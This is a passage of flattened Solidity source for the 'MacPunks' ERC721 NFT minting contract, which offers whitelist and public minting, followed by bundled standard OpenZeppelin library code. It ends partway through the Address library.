// SPDX-License-Identifier: MIT /** β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•β• β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β•šβ•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β•β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β• Adapted from the good work of HashLips.online */ pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract MacPunks is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { 